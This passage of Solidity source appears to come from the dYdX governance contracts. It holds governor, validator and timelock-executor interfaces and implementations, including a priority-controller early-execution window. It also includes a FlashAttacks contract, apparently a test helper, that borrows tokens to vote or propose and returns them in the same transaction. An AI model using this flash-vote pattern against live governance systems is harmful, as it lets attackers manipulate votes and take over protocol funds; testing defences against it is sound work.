* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
**/
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall
) external returns (bytes32);
/**
* @dev Function, called by Governance, that executes a transaction, returns the callData executed
* @param target smart contract target
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
**/
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall
) external payable returns (bytes memory);
/**
* @dev Function, called by Governance, that cancels a transaction, returns action hash
* @param target smart contract target
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
**/
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall
) external returns (bytes32);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
interface IGovernanceStrategy {
/**
* @dev Returns the Proposition Power of a user at a specific block number.
* @param user Address of the user.
* @param blockNumber Blocknumber at which to fetch Proposition Power
* @return Power number
**/
function getPropositionPowerAt(address user, uint256 blockNumber) external view returns (uint256);
/**
* @dev Returns the total supply of Outstanding Proposition Tokens
* @param blockNumber Blocknumber at which to evaluate
* @return total supply at blockNumber
**/
function getTotalPropositionSupplyAt(uint256 blockNumber) external view returns (uint256);
/**
* @dev Returns the total supply of Outstanding Voting Tokens
* @param blockNumber Blocknumber at which to evaluate
* @return total supply at blockNumber
**/
function getTotalVotingSupplyAt(uint256 blockNumber) external view returns (uint256);
/**
* @dev Returns the Vote Power of a user at a specific block number.
* @param user Address of the user.
* @param blockNumber Blocknumber at which to fetch Vote Power
* @return Vote number
**/
function getVotingPowerAt(address user, uint256 blockNumber) external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { IDydxGovernor } from './IDydxGovernor.sol';
interface IProposalValidator {
/**
* @dev Called to validate a proposal (e.g when creating new proposal in Governance)
* @param governance Governance Contract
* @param user Address of the proposal creator
* @param blockNumber Block Number against which to make the test (e.g proposal creation block -1).
* @return boolean, true if can be created
**/
function validateCreatorOfProposal(
IDydxGovernor governance,
address user,
uint256 blockNumber
) external view returns (bool);
/**
* @dev Called to validate the cancellation of a proposal
* @param governance Governance Contract
* @param user Address of the proposal creator
* @param blockNumber Block Number against which to make the test (e.g proposal creation block -1).
* @return boolean, true if can be cancelled
**/
function validateProposalCancellation(
IDydxGovernor governance,
address user,
uint256 blockNumber
) external view returns (bool);
/**
* @dev Returns whether a user has enough Proposition Power to make a proposal.
* @param governance Governance Contract
* @param user Address of the user to be challenged.
* @param blockNumber Block Number against which to make the challenge.
* @return true if user has enough power
**/
function isPropositionPowerEnough(
IDydxGovernor governance,
address user,
uint256 blockNumber
) external view returns (bool);
/**
* @dev Returns the minimum Proposition Power needed to create a proposition.
* @param governance Governance Contract
* @param blockNumber Blocknumber at which to evaluate
* @return minimum Proposition Power needed
**/
function getMinimumPropositionPowerNeeded(IDydxGovernor governance, uint256 blockNumber)
external
view
returns (uint256);
/**
* @dev Returns whether a proposal passed or not
* @param governance Governance Contract
* @param proposalId Id of the proposal to set
* @return true if proposal passed
**/
function isProposalPassed(IDydxGovernor governance, uint256 proposalId)
external
view
returns (bool);
/**
* @dev Check whether a proposal has reached quorum, ie has enough FOR-voting-power
* Here quorum is not to understand as number of votes reached, but number of for-votes reached
* @param governance Governance Contract
* @param proposalId Id of the proposal to verify
* @return voting power needed for a proposal to pass
**/
function isQuorumValid(IDydxGovernor governance, uint256 proposalId)
external
view
returns (bool);
/**
* @dev Check whether a proposal has enough extra FOR-votes than AGAINST-votes
* FOR VOTES - AGAINST VOTES > VOTE_DIFFERENTIAL * voting supply
* @param governance Governance Contract
* @param proposalId Id of the proposal to verify
* @return true if enough For-Votes
**/
function isVoteDifferentialValid(IDydxGovernor governance, uint256 proposalId)
external
view
returns (bool);
/**
* @dev Calculates the minimum amount of Voting Power needed for a proposal to Pass
* @param votingSupply Total number of oustanding voting tokens
* @return voting power needed for a proposal to pass
**/
function getMinimumVotingPowerNeeded(uint256 votingSupply) external view returns (uint256);
/**
* @dev Get proposition threshold constant value
* @return the proposition threshold value (100 <=> 1%)
**/
function PROPOSITION_THRESHOLD() external view returns (uint256);
/**
* @dev Get voting duration constant value
* @return the voting duration value in seconds
**/
function VOTING_DURATION() external view returns (uint256);
/**
* @dev Get the vote differential threshold constant value
* to compare with % of for votes/total supply - % of against votes/total supply
* @return the vote differential threshold value (100 <=> 1%)
**/
function VOTE_DIFFERENTIAL() external view returns (uint256);
/**
* @dev Get quorum threshold constant value
* to compare with % of for votes/total supply
* @return the quorum threshold value (100 <=> 1%)
**/
function MINIMUM_QUORUM() external view returns (uint256);
/**
* @dev precision helper: 100% = 10000
* @return one hundred percents with our chosen precision
**/
function ONE_HUNDRED_WITH_PRECISION() external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
interface IVotingStrategy {
function getVotingPowerAt(address user, uint256 blockNumber) external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
function getChainId() pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
function isContract(address account) view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../dependencies/open-zeppelin/SafeMath.sol';
import { IDydxGovernor } from '../../interfaces/IDydxGovernor.sol';
import { IGovernanceStrategy } from '../../interfaces/IGovernanceStrategy.sol';
import { IProposalValidator } from '../../interfaces/IProposalValidator.sol';
/**
* @title Proposal validator contract mixin, inherited the governance executor contract.
* @dev Validates/Invalidations propositions state modifications.
* Proposition Power functions: Validates proposition creations/ cancellation
* Voting Power functions: Validates success of propositions.
* @author dYdX
**/
contract ProposalValidatorMixin is IProposalValidator {
using SafeMath for uint256;
uint256 public immutable override PROPOSITION_THRESHOLD;
uint256 public immutable override VOTING_DURATION;
uint256 public immutable override VOTE_DIFFERENTIAL;
uint256 public immutable override MINIMUM_QUORUM;
uint256 public constant override ONE_HUNDRED_WITH_PRECISION = 10000; // Represents 100%.
/**
* @dev Constructor
* @param propositionThreshold minimum percentage of supply needed to submit a proposal
* - In ONE_HUNDRED_WITH_PRECISION units
* @param votingDuration duration in blocks of the voting period
* @param voteDifferential percentage of supply that `for` votes need to be over `against`
* in order for the proposal to pass
* - In ONE_HUNDRED_WITH_PRECISION units
* @param minimumQuorum minimum percentage of the supply in FOR-voting-power need for a proposal to pass
* - In ONE_HUNDRED_WITH_PRECISION units
**/
constructor(
uint256 propositionThreshold,
uint256 votingDuration,
uint256 voteDifferential,
uint256 minimumQuorum
) {
PROPOSITION_THRESHOLD = propositionThreshold;
VOTING_DURATION = votingDuration;
VOTE_DIFFERENTIAL = voteDifferential;
MINIMUM_QUORUM = minimumQuorum;
}
/**
* @dev Called to validate a proposal (e.g when creating new proposal in Governance)
* @param governance Governance Contract
* @param user Address of the proposal creator
* @param blockNumber Block Number against which to make the test (e.g proposal creation block -1).
* @return boolean, true if can be created
**/
function validateCreatorOfProposal(
IDydxGovernor governance,
address user,
uint256 blockNumber
) external view override returns (bool) {
return isPropositionPowerEnough(governance, user, blockNumber);
}
/**
* @dev Called to validate the cancellation of a proposal
* Needs to creator to have lost proposition power threashold
* @param governance Governance Contract
* @param user Address of the proposal creator
* @param blockNumber Block Number against which to make the test (e.g proposal creation block -1).
* @return boolean, true if can be cancelled
**/
function validateProposalCancellation(
IDydxGovernor governance,
address user,
uint256 blockNumber
) external view override returns (bool) {
return !isPropositionPowerEnough(governance, user, blockNumber);
}
/**
* @dev Returns whether a user has enough Proposition Power to make a proposal.
* @param governance Governance Contract
* @param user Address of the user to be challenged.
* @param blockNumber Block Number against which to make the challenge.
* @return true if user has enough power
**/
function isPropositionPowerEnough(
IDydxGovernor governance,
address user,
uint256 blockNumber
) public view override returns (bool) {
IGovernanceStrategy currentGovernanceStrategy = IGovernanceStrategy(
governance.getGovernanceStrategy()
);
return
currentGovernanceStrategy.getPropositionPowerAt(user, blockNumber) >=
getMinimumPropositionPowerNeeded(governance, blockNumber);
}
/**
* @dev Returns the minimum Proposition Power needed to create a proposition.
* @param governance Governance Contract
* @param blockNumber Blocknumber at which to evaluate
* @return minimum Proposition Power needed
**/
function getMinimumPropositionPowerNeeded(IDydxGovernor governance, uint256 blockNumber)
public
view
override
returns (uint256)
{
IGovernanceStrategy currentGovernanceStrategy = IGovernanceStrategy(
governance.getGovernanceStrategy()
);
return
currentGovernanceStrategy
.getTotalPropositionSupplyAt(blockNumber)
.mul(PROPOSITION_THRESHOLD)
.div(ONE_HUNDRED_WITH_PRECISION);
}
/**
* @dev Returns whether a proposal passed or not
* @param governance Governance Contract
* @param proposalId Id of the proposal to set
* @return true if proposal passed
**/
function isProposalPassed(IDydxGovernor governance, uint256 proposalId)
external
view
override
returns (bool)
{
return (isQuorumValid(governance, proposalId) &&
isVoteDifferentialValid(governance, proposalId));
}
/**
* @dev Calculates the minimum amount of Voting Power needed for a proposal to Pass
* @param votingSupply Total number of oustanding voting tokens
* @return voting power needed for a proposal to pass
**/
function getMinimumVotingPowerNeeded(uint256 votingSupply)
public
view
override
returns (uint256)
{
return votingSupply.mul(MINIMUM_QUORUM).div(ONE_HUNDRED_WITH_PRECISION);
}
/**
* @dev Check whether a proposal has reached quorum, ie has enough FOR-voting-power
* Here quorum is not to understand as number of votes reached, but number of for-votes reached
* @param governance Governance Contract
* @param proposalId Id of the proposal to verify
* @return voting power needed for a proposal to pass
**/
function isQuorumValid(IDydxGovernor governance, uint256 proposalId)
public
view
override
returns (bool)
{
IDydxGovernor.ProposalWithoutVotes memory proposal = governance.getProposalById(proposalId);
uint256 votingSupply = IGovernanceStrategy(proposal.strategy).getTotalVotingSupplyAt(
proposal.startBlock
);
return proposal.forVotes >= getMinimumVotingPowerNeeded(votingSupply);
}
/**
* @dev Check whether a proposal has enough extra FOR-votes than AGAINST-votes
* FOR VOTES - AGAINST VOTES > VOTE_DIFFERENTIAL * voting supply
* @param governance Governance Contract
* @param proposalId Id of the proposal to verify
* @return true if enough For-Votes
**/
function isVoteDifferentialValid(IDydxGovernor governance, uint256 proposalId)
public
view
override
returns (bool)
{
IDydxGovernor.ProposalWithoutVotes memory proposal = governance.getProposalById(proposalId);
uint256 votingSupply = IGovernanceStrategy(proposal.strategy).getTotalVotingSupplyAt(
proposal.startBlock
);
return (proposal.forVotes.mul(ONE_HUNDRED_WITH_PRECISION).div(votingSupply) >
proposal.againstVotes.mul(ONE_HUNDRED_WITH_PRECISION).div(votingSupply).add(
VOTE_DIFFERENTIAL
));
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { PriorityTimelockExecutorMixin } from './PriorityTimelockExecutorMixin.sol';
import { ProposalValidatorMixin } from './ProposalValidatorMixin.sol';
/**
* @title Time Locked, Validator, Executor Contract
* @dev Contract
* - Validate Proposal creations / cancellation
* - Validate Vote Quorum and Vote success on proposal
* - Queue, Execute, Cancel, successful proposals' transactions.
* @author dYdX
**/
contract PriorityExecutor is PriorityTimelockExecutorMixin, ProposalValidatorMixin {
constructor(
address admin,
uint256 delay,
uint256 gracePeriod,
uint256 minimumDelay,
uint256 maximumDelay,
uint256 priorityPeriod,
uint256 propositionThreshold,
uint256 voteDuration,
uint256 voteDifferential,
uint256 minimumQuorum,
address priorityExecutor
)
PriorityTimelockExecutorMixin(
admin,
delay,
gracePeriod,
minimumDelay,
maximumDelay,
priorityPeriod,
priorityExecutor
)
ProposalValidatorMixin(
propositionThreshold,
voteDuration,
voteDifferential,
minimumQuorum
)
{}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../dependencies/open-zeppelin/SafeMath.sol';
import { IPriorityTimelockExecutor } from '../../interfaces/IPriorityTimelockExecutor.sol';
import { IDydxGovernor } from '../../interfaces/IDydxGovernor.sol';
/**
* @title Time-locked executor contract mixin, inherited the governance executor contract.
* @dev Contract that can queue, execute, cancel transactions voted by Governance
* Queued transactions can be executed after a delay and until
* Grace period is not over.
* @author dYdX
**/
contract PriorityTimelockExecutorMixin is IPriorityTimelockExecutor {
using SafeMath for uint256;
uint256 public immutable override GRACE_PERIOD;
uint256 public immutable override MINIMUM_DELAY;
uint256 public immutable override MAXIMUM_DELAY;
address private _admin;
address private _pendingAdmin;
mapping(address => bool) private _isPriorityController;
uint256 private _delay;
uint256 private _priorityPeriod;
mapping(bytes32 => bool) private _queuedTransactions;
mapping(bytes32 => bool) private _priorityUnlockedTransactions;
/**
* @dev Constructor
* @param admin admin address, that can call the main functions, (Governance)
* @param delay minimum time between queueing and execution of proposal
* @param gracePeriod time after `delay` while a proposal can be executed
* @param minimumDelay lower threshold of `delay`, in seconds
* @param maximumDelay upper threhold of `delay`, in seconds
* @param priorityPeriod time at end of delay period during which a priority controller may “unlock”
* @param priorityController address which may execute proposals during the priority window
* the proposal for early execution
**/
constructor(
address admin,
uint256 delay,
uint256 gracePeriod,
uint256 minimumDelay,
uint256 maximumDelay,
uint256 priorityPeriod,
address priorityController
) {
require(delay >= minimumDelay, 'DELAY_SHORTER_THAN_MINIMUM');
require(delay <= maximumDelay, 'DELAY_LONGER_THAN_MAXIMUM');
_validatePriorityPeriod(delay, priorityPeriod);
_delay = delay;
_priorityPeriod = priorityPeriod;
_admin = admin;
GRACE_PERIOD = gracePeriod;
MINIMUM_DELAY = minimumDelay;
MAXIMUM_DELAY = maximumDelay;
emit NewDelay(delay);
emit NewPriorityPeriod(priorityPeriod);
emit NewAdmin(admin);
_updatePriorityController(priorityController, true);
}
modifier onlyAdmin() {
require(msg.sender == _admin, 'ONLY_BY_ADMIN');
_;
}
modifier onlyTimelock() {
require(msg.sender == address(this), 'ONLY_BY_THIS_TIMELOCK');
_;
}
modifier onlyPendingAdmin() {
require(msg.sender == _pendingAdmin, 'ONLY_BY_PENDING_ADMIN');
_;
}
modifier onlyPriorityController() {
require(_isPriorityController[msg.sender], 'ONLY_BY_PRIORITY_CONTROLLER');
_;
}
/**
* @dev Set the delay
* @param delay delay between queue and execution of proposal
**/
function setDelay(uint256 delay) public onlyTimelock {
_validateDelay(delay);
_validatePriorityPeriod(delay, _priorityPeriod);
_delay = delay;
emit NewDelay(delay);
}
/**
* @dev Set the priority period
* @param priorityPeriod time at end of delay period during which a priority controller may “unlock”
* the proposal for early execution
**/
function setPriorityPeriod(uint256 priorityPeriod) public onlyTimelock {
_validatePriorityPeriod(_delay, priorityPeriod);
_priorityPeriod = priorityPeriod;
emit NewPriorityPeriod(priorityPeriod);
}
/**
* @dev Function enabling pending admin to become admin
**/
function acceptAdmin() public onlyPendingAdmin {
_admin = msg.sender;
_pendingAdmin = address(0);
emit NewAdmin(msg.sender);
}
/**
* @dev Setting a new pending admin (that can then become admin)
* Can only be called by this executor (i.e via proposal)
* @param newPendingAdmin address of the new admin
**/
function setPendingAdmin(address newPendingAdmin) public onlyTimelock {
_pendingAdmin = newPendingAdmin;
emit NewPendingAdmin(newPendingAdmin);
}
/**
* @dev Add or remove a priority controller.
*/
function updatePriorityController(address account, bool isPriorityController) public onlyTimelock {
_updatePriorityController(account, isPriorityController);
}
/**
* @dev Function, called by Governance, that queue a transaction, returns action hash
* @param target smart contract target
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
* @return the action Hash
**/
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall
) public override onlyAdmin returns (bytes32) {
require(executionTime >= block.timestamp.add(_delay), 'EXECUTION_TIME_UNDERESTIMATED');
bytes32 actionHash = keccak256(
abi.encode(target, value, signature, data, executionTime, withDelegatecall)
);
_queuedTransactions[actionHash] = true;
emit QueuedAction(actionHash, target, value, signature, data, executionTime, withDelegatecall);
return actionHash;
}
/**
* @dev Function, called by Governance, that cancels a transaction, returns action hash
* @param target smart contract target
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
* @return the action Hash of the canceled tx
**/
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall
) public override onlyAdmin returns (bytes32) {
bytes32 actionHash = keccak256(
abi.encode(target, value, signature, data, executionTime, withDelegatecall)
);
_queuedTransactions[actionHash] = false;
emit CancelledAction(
actionHash,
target,
value,
signature,
data,
executionTime,
withDelegatecall
);
return actionHash;
}
/**
* @dev Function, called by Governance, that executes a transaction, returns the callData executed
* @param target smart contract target
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
* @return the callData executed as memory bytes
**/
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall
) public payable override onlyAdmin returns (bytes memory) {
bytes32 actionHash = keccak256(
abi.encode(target, value, signature, data, executionTime, withDelegatecall)
);
require(_queuedTransactions[actionHash], 'ACTION_NOT_QUEUED');
require(block.timestamp <= executionTime.add(GRACE_PERIOD), 'GRACE_PERIOD_FINISHED');
// Require either that:
// - the timelock elapsed; or
// - the transaction was unlocked by a priority controller, and we are in the priority
// execution window.
if (_priorityUnlockedTransactions[actionHash]) {
require(block.timestamp >= executionTime.sub(_priorityPeriod), 'NOT_IN_PRIORITY_WINDOW');
} else {
require(block.timestamp >= executionTime, 'TIMELOCK_NOT_FINISHED');
}
_queuedTransactions[actionHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
bool success;
bytes memory resultData;
if (withDelegatecall) {
require(msg.value >= value, "NOT_ENOUGH_MSG_VALUE");
// solium-disable-next-line security/no-call-value
(success, resultData) = target.delegatecall(callData);
} else {
// solium-disable-next-line security/no-call-value
(success, resultData) = target.call{value: value}(callData);
}
require(success, 'FAILED_ACTION_EXECUTION');
emit ExecutedAction(
actionHash,
target,
value,
signature,
data,
executionTime,
withDelegatecall,
resultData
);
return resultData;
}
/**
* @dev Function, called by a priority controller, to lock or unlock a proposal for execution
* during the priority period.
* @param actionHash hash of the action
* @param isUnlockedForExecution whether the proposal is executable during the priority period
*/
function setTransactionPriorityStatus(
bytes32 actionHash,
bool isUnlockedForExecution
) public onlyPriorityController {
require(_queuedTransactions[actionHash], 'ACTION_NOT_QUEUED');
_priorityUnlockedTransactions[actionHash] = isUnlockedForExecution;
emit UpdatedActionPriorityStatus(actionHash, isUnlockedForExecution);
}
/**
* @dev Getter of the current admin address (should be governance)
* @return The address of the current admin
**/
function getAdmin() external view override returns (address) {
return _admin;
}
/**
* @dev Getter of the current pending admin address
* @return The address of the pending admin
**/
function getPendingAdmin() external view override returns (address) {
return _pendingAdmin;
}
/**
* @dev Getter of the delay between queuing and execution
* @return The delay in seconds
**/
function getDelay() external view override returns (uint256) {
return _delay;
}
/**
* @dev Getter of the priority period, which is amount of time before mandatory
* timelock delay that a proposal can be executed early only by a priority controller.
* @return The priority period in seconds.
**/
function getPriorityPeriod() external view returns (uint256) {
return _priorityPeriod;
}
/**
* @dev Getter for whether an address is a priority controller.
* @param account address to check for being a priority controller
* @return True if `account` is a priority controller, false if not.
**/
function isPriorityController(address account) external view returns (bool) {
return _isPriorityController[account];
}
/**
* @dev Returns whether an action (via actionHash) is queued
* @param actionHash hash of the action to be checked
* keccak256(abi.encode(target, value, signature, data, executionTime, withDelegatecall))
* @return true if underlying action of actionHash is queued
**/
function isActionQueued(bytes32 actionHash) external view override returns (bool) {
return _queuedTransactions[actionHash];
}
/**
* @dev Returns whether an action (via actionHash) has priority status
* @param actionHash hash of the action to be checked
* keccak256(abi.encode(target, value, signature, data, executionTime, withDelegatecall))
* @return true if underlying action of actionHash is queued
**/
function hasPriorityStatus(bytes32 actionHash) external view returns (bool) {
return _priorityUnlockedTransactions[actionHash];
}
/**
* @dev Checks whether a proposal is over its grace period
* @param governance Governance contract
* @param proposalId Id of the proposal against which to test
* @return true of proposal is over grace period
**/
function isProposalOverGracePeriod(IDydxGovernor governance, uint256 proposalId)
external
view
override
returns (bool)
{
IDydxGovernor.ProposalWithoutVotes memory proposal = governance.getProposalById(proposalId);
return (block.timestamp > proposal.executionTime.add(GRACE_PERIOD));
}
function _updatePriorityController(address account, bool isPriorityController) internal {
_isPriorityController[account] = isPriorityController;
emit PriorityControllerUpdated(account, isPriorityController);
}
function _validateDelay(uint256 delay) internal view {
require(delay >= MINIMUM_DELAY, 'DELAY_SHORTER_THAN_MINIMUM');
require(delay <= MAXIMUM_DELAY, 'DELAY_LONGER_THAN_MAXIMUM');
}
function _validatePriorityPeriod(uint256 delay, uint256 priorityPeriod) internal view {
require(priorityPeriod <= delay, 'PRIORITY_PERIOD_LONGER_THAN_DELAY');
}
receive() external payable {}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { IDydxGovernor } from './IDydxGovernor.sol';
import { IExecutorWithTimelock } from './IExecutorWithTimelock.sol';
interface IPriorityTimelockExecutor is IExecutorWithTimelock {
/**
* @dev emitted when a priority controller is added or removed
* @param account address added or removed
* @param isPriorityController whether the account is now a priority controller
*/
event PriorityControllerUpdated(address account, bool isPriorityController);
/**
* @dev emitted when a new priority period is set
* @param priorityPeriod new priority period
**/
event NewPriorityPeriod(uint256 priorityPeriod);
/**
* @dev emitted when an action is locked or unlocked for execution by a priority controller
* @param actionHash hash of the action
* @param isUnlockedForExecution whether the proposal is executable during the priority period
*/
event UpdatedActionPriorityStatus(bytes32 actionHash, bool isUnlockedForExecution);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { IDydxGovernor } from '../interfaces/IDydxGovernor.sol';
import { IERC20 } from '../interfaces/IERC20.sol';
import { IExecutorWithTimelock } from '../interfaces/IExecutorWithTimelock.sol';
contract FlashAttacks {
IERC20 internal immutable TOKEN;
address internal immutable MINTER;
IDydxGovernor internal immutable GOV;
constructor(address _token, address _MINTER, address _governance) {
TOKEN = IERC20(_token);
MINTER = _MINTER;
GOV = IDydxGovernor(_governance);
}
function flashVote(uint256 votePower, uint256 proposalId, bool support) external {
TOKEN.transferFrom(MINTER,address(this), votePower);
GOV.submitVote(proposalId, support);
TOKEN.transfer(MINTER, votePower);
}
function flashVotePermit(uint256 votePower, uint256 proposalId,
bool support,
uint8 v,
bytes32 r,
bytes32 s) external {
TOKEN.transferFrom(MINTER, address(this), votePower);
GOV.submitVoteBySignature(proposalId, support, v, r, s);
TOKEN.transfer(MINTER, votePower);
}
function flashProposal(uint256 proposalPower, IExecutorWithTimelock executor,
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
bool[] memory withDelegatecalls,
bytes32 ipfsHash) external {
TOKEN.transferFrom(MINTER, address(this),proposalPower);
GOV.create(executor, targets, values, signatures, calldatas, withDelegatecalls, ipfsHash);
TOKEN.transfer(MINTER, proposalPower);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../dependencies/open-zeppelin/SafeMath.sol';
import { IExecutorWithTimelock } from '../../interfaces/IExecutorWithTimelock.sol';
import { IDydxGovernor } from '../../interfaces/IDydxGovernor.sol';
/**
* @title Time-locked executor contract mixin, inherited the governance executor contract.
* @dev Contract that can queue, execute, cancel transactions voted by Governance
* Queued transactions can be executed after a delay and until
* Grace period is not over.
* @author dYdX
**/
contract ExecutorWithTimelockMixin is IExecutorWithTimelock {
using SafeMath for uint256;
uint256 public immutable override GRACE_PERIOD;
uint256 public immutable override MINIMUM_DELAY;
uint256 public immutable override MAXIMUM_DELAY;
address private _admin;
address private _pendingAdmin;
uint256 private _delay;
mapping(bytes32 => bool) private _queuedTransactions;
/**
* @dev Constructor
* @param admin admin address, that can call the main functions, (Governance)
* @param delay minimum time between queueing and execution of proposal
* @param gracePeriod time after `delay` while a proposal can be executed
* @param minimumDelay lower threshold of `delay`, in seconds
* @param maximumDelay upper threhold of `delay`, in seconds
**/
constructor(
address admin,
uint256 delay,
uint256 gracePeriod,
uint256 minimumDelay,
uint256 maximumDelay
) {
require(delay >= minimumDelay, 'DELAY_SHORTER_THAN_MINIMUM');
require(delay <= maximumDelay, 'DELAY_LONGER_THAN_MAXIMUM');
_delay = delay;
_admin = admin;
GRACE_PERIOD = gracePeriod;
MINIMUM_DELAY = minimumDelay;
MAXIMUM_DELAY = maximumDelay;
emit NewDelay(delay);
emit NewAdmin(admin);
}
modifier onlyAdmin() {
require(msg.sender == _admin, 'ONLY_BY_ADMIN');
_;
}
modifier onlyTimelock() {
require(msg.sender == address(this), 'ONLY_BY_THIS_TIMELOCK');
_;
}
modifier onlyPendingAdmin() {
require(msg.sender == _pendingAdmin, 'ONLY_BY_PENDING_ADMIN');
_;
}
/**
* @dev Set the delay
* @param delay delay between queue and execution of proposal
**/
function setDelay(uint256 delay) public onlyTimelock {
_validateDelay(delay);
_delay = delay;
emit NewDelay(delay);
}
/**
* @dev Function enabling pending admin to become admin
**/
function acceptAdmin() public onlyPendingAdmin {
_admin = msg.sender;
_pendingAdmin = address(0);
emit NewAdmin(msg.sender);
}
/**
* @dev Setting a new pending admin (that can then become admin)
* Can only be called by this executor (i.e via proposal)
* @param newPendingAdmin address of the new admin
**/
function setPendingAdmin(address newPendingAdmin) public onlyTimelock {
_pendingAdmin = newPendingAdmin;
emit NewPendingAdmin(newPendingAdmin);
}
/**
* @dev Function, called by Governance, that queues a transaction, returns action hash
* @param target smart contract target
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
* @return the action Hash
**/
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
bool withDelegatecall
) public override onlyAdmin returns (bytes32) {
require(executionTime >= block.timestamp.add(_delay), 'EXECUTION_TIME_UNDERESTIMATED');
bytes32 actionHash = keccak256(
abi.encode(target, value, signature, data, executionTime, withDelegatecall)
);
_queuedTransactions[actionHash] = true;
emit QueuedAction(actionHash, target, value, signature, data, executionTime, withDelegatecall);
return actionHash;
}
/**
* @dev Function, called by Governance, that cancels a transaction, returns action hash
* @param target smart contract target
* @param value wei value of the transaction
* @param signature function signature of the transaction
* @param data function arguments of the transaction or callData if signature empty
* @param executionTime time at which to execute the transaction
* @param withDelegatecall boolean, true = transaction delegatecalls the target, else calls the target
* @return the action Hash of the canceled tx
**/
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 executionTime,
